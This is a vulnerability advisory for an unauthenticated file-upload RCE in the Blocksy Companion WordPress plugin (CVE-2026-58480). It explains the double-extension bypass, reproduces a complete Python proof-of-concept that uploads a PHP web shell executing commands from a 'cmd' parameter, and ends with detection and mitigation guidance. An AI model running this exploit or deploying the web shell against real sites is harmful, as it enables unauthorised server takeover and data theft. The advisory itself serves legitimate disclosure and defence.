Skip to content

CVE-2026-58480: Blocksy Companion RCE via Unauthenticated File Upload

Executive Summary

A critical unauthenticated remote code execution (RCE) vulnerability, tracked as CVE-2026-58480, has been identified in the Blocksy Companion plugin for WordPress. This flaw allows remote attackers to upload arbitrary files, including malicious PHP web shells, without any authentication. By exploiting a double-extension bypass mechanism, attackers can achieve full remote code execution on affected WordPress installations. Given the widespread use of WordPress and the severity of an unauthenticated RCE, immediate patching is crucial for all users of the Blocksy Companion plugin.

Vulnerability Details

  • CVE ID: CVE-2026-58480
  • CWE: Not explicitly assigned, but falls under categories like CWE-434 (Unrestricted Upload of File with Dangerous Type) or CWE-284 (Improper Access Control).
  • CVSS Vector: CVSSv3.1 Score: 9.8 (Critical)
  • Affected Versions: Blocksy Companion plugin for WordPress, all versions up to, and including, 2.1.46. Specifically impacts installations with the "Advanced Reviews" and "Custom Fonts" extensions enabled (which are part of Blocksy Companion Pro).
  • Patched Versions: Blocksy Companion 2.1.47.

The Blocksy Companion plugin extends the functionality of the Blocksy WordPress theme, offering various features. This particular vulnerability poses an extreme risk as it permits malicious code execution on the server without requiring any prior authentication or special privileges.

Technical Root Cause Analysis

The core of CVE-2026-58480 lies in an unauthenticated arbitrary file upload capability within the save_attachments function, specifically when handling the blc-review-images[] parameter. This function is intended to handle image uploads for reviews, but it can be abused due to insufficient validation.

The vulnerability is a multi-stage flaw:

  1. Unauthenticated File Upload: The blc_save_review_attachments AJAX action, accessible to unauthenticated users, allows for file uploads without proper access control checks. An attacker can send a POST request to wp-admin/admin-ajax.php with the action parameter set to blc_save_review_attachments and a malicious file attached to the blc-review-images[] parameter.
  2. Double-Extension Bypass: The file upload mechanism attempts to validate file types, but it is vulnerable to a double-extension bypass. The exploit specifically leverages a flaw related to strpos() checks in the "Custom Fonts" extension. An attacker can upload a file with an extension like .woff2.php. The strpos() function might incorrectly identify .woff2 as a valid part of the filename, allowing the .php extension to remain at the end, leading to the file being interpreted as a PHP script by the web server.

When a file named poc.woff2.php containing PHP code is uploaded, the server may store it in a publicly accessible directory (e.g., wp-content/uploads/YEAR/MONTH/). Upon successful upload, an attacker can then navigate to the URL of the uploaded poc.woff2.php file, which the web server executes as a PHP script, leading to Remote Code Execution.

Proof-of-Concept

The following Python PoC, originally published on Exploit-DB, demonstrates the exploitation of CVE-2026-58480. It uploads a PHP web shell that can execute arbitrary system commands via a cmd GET parameter.

#!/usr/bin/env python3
# Exploit Title:        Blocksy Companion 2.1.46 - RCE
# CVE:                  CVE-2026-58480
# Date:                 2026-07-13
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://creativethemes.com
# Software Link:        https://wordpress.org/plugins/blocksy-companion/
# Affected:             Blocksy Companion <= 2.1.46 (Pro with Advanced Reviews + Custom Fonts)
# Tested on:            WordPress + Blocksy Companion 2.1.46
# Category:             WebApps
# Platform:             PHP
# Exploit Type:         Remote Code Execution (Unauthenticated)
# CVSS:                 9.8 (Critical)
# Description:          Unauthenticated arbitrary file upload via blc-review-images[] parameter in save_attachments.
#                       Double-extension bypass (.woff2.php) due to strpos() check in Custom Fonts extension.
# Fixed in:             2.1.47
# Usage:
#   python3 exploit.py <target_url>
#
# Examples:
#   python3 exploit.py http://target.com
#
# Notes:
#   • Requires Advanced Reviews and Custom Fonts extensions enabled.
#   • Uploaded shell lands in wp-content/uploads/ (check response for exact path).
#
# How to Use
#
# Step 1:
#   Run the script with target URL.
#
# Step 2:
#   Use the generated shell URL with ?cmd=command (e.g. ?cmd=id)

import requests
import sys

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

if len(sys.argv) < 2:
    banner()
    print("Usage: python3 exploit.py <http://target.com>")
    sys.exit(1)

banner()

target = sys.argv[1].rstrip('/')
shell_name = "poc.woff2.php"
payload = """<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
    exit;
}
echo 'Blocksy RCE PoC - CVE-2026-58480 | @banyamer_security';
?>
"""

files = {
    'blc-review-images[]': (shell_name, payload, 'application/octet-stream')
}

data = {
    'action': 'blc_save_review_attachments'
}

print("[+] Sending unauthenticated file upload...")
try:
    r = requests.post(f"{target}/wp-admin/admin-ajax.php", files=files, data=data, timeout=15)
    print(f"Status: {r.status_code}")
    print(r.text[:600])
    print("\n[+] If successful, check wp-content/uploads/ for the shell.")
    print(f"[+] Example: {target}/wp-content/uploads/YEAR/MONTH/{shell_name}?cmd=id")
except Exception as e:
    print(f"[-] Error: {e}")

Detection & Hunting

Organizations can detect exploitation attempts and post-exploitation activities related to CVE-2026-58480 by focusing on:

  • Web Server Logs:
    • Monitor web server access logs (Apache, Nginx) for POST requests to wp-admin/admin-ajax.php with the action=blc_save_review_attachments parameter, especially if these requests contain unusual or malicious file extensions (e.g., .php, .phtml, .woff2.php).
    • Look for subsequent GET requests to files with suspicious names (e.g., poc.woff2.php) in the wp-content/uploads/ directory.
    • Analyze HTTP request bodies for content that resembles PHP web shells or other malicious payloads.
  • File System Monitoring:
    • Implement file integrity monitoring (FIM) on the wp-content/uploads/ directory to detect the creation of new, unexpected .php or .woff2.php files.
    • Look for files with suspicious names or unusual content within WordPress directories.
  • Network Intrusion Detection/Prevention Systems (NIDS/NIPS):
    • Deploy WAF rules to block file uploads with suspicious extensions or content types to wp-admin/admin-ajax.php.
    • Monitor for outbound connections from the WordPress server that are not typical, potentially indicating a web shell calling out to a C2 server.
  • Endpoint Detection and Response (EDR):
    • On the WordPress host, monitor for unusual process execution (e.g., sh, bash, cmd.exe) spawned by the web server process, which would indicate successful RCE.

Mitigation & Remediation

To mitigate the risk posed by CVE-2026-58480:

  1. Update Immediately: Update the Blocksy Companion plugin to version 2.1.47 or later. This is the most effective and critical step.
  2. Disable Unused Extensions: If the "Advanced Reviews" and "Custom Fonts" extensions within Blocksy Companion are not strictly necessary for your website's functionality, disable them.
  3. Implement WAF Rules: Deploy a Web Application Firewall (WAF) to filter and block suspicious requests. Configure rules to:
    • Prevent POST requests to wp-admin/admin-ajax.php containing file uploads with action=blc_save_review_attachments and blc-review-images[] if such functionality is not expected to be unauthenticated.
    • Block uploads of .php, .phtml, .cgi, or other executable file types to upload directories like wp-content/uploads/.
    • Sanitize filenames and extensions on upload to prevent double-extension attacks.
  4. Least Privilege: Ensure the web server process runs with the least possible privileges to limit the impact of a successful RCE.
  5. Regular Backups: Maintain regular, verified backups of your WordPress installation and database to facilitate recovery in case of compromise.

References

Comments (0)

Loading comments...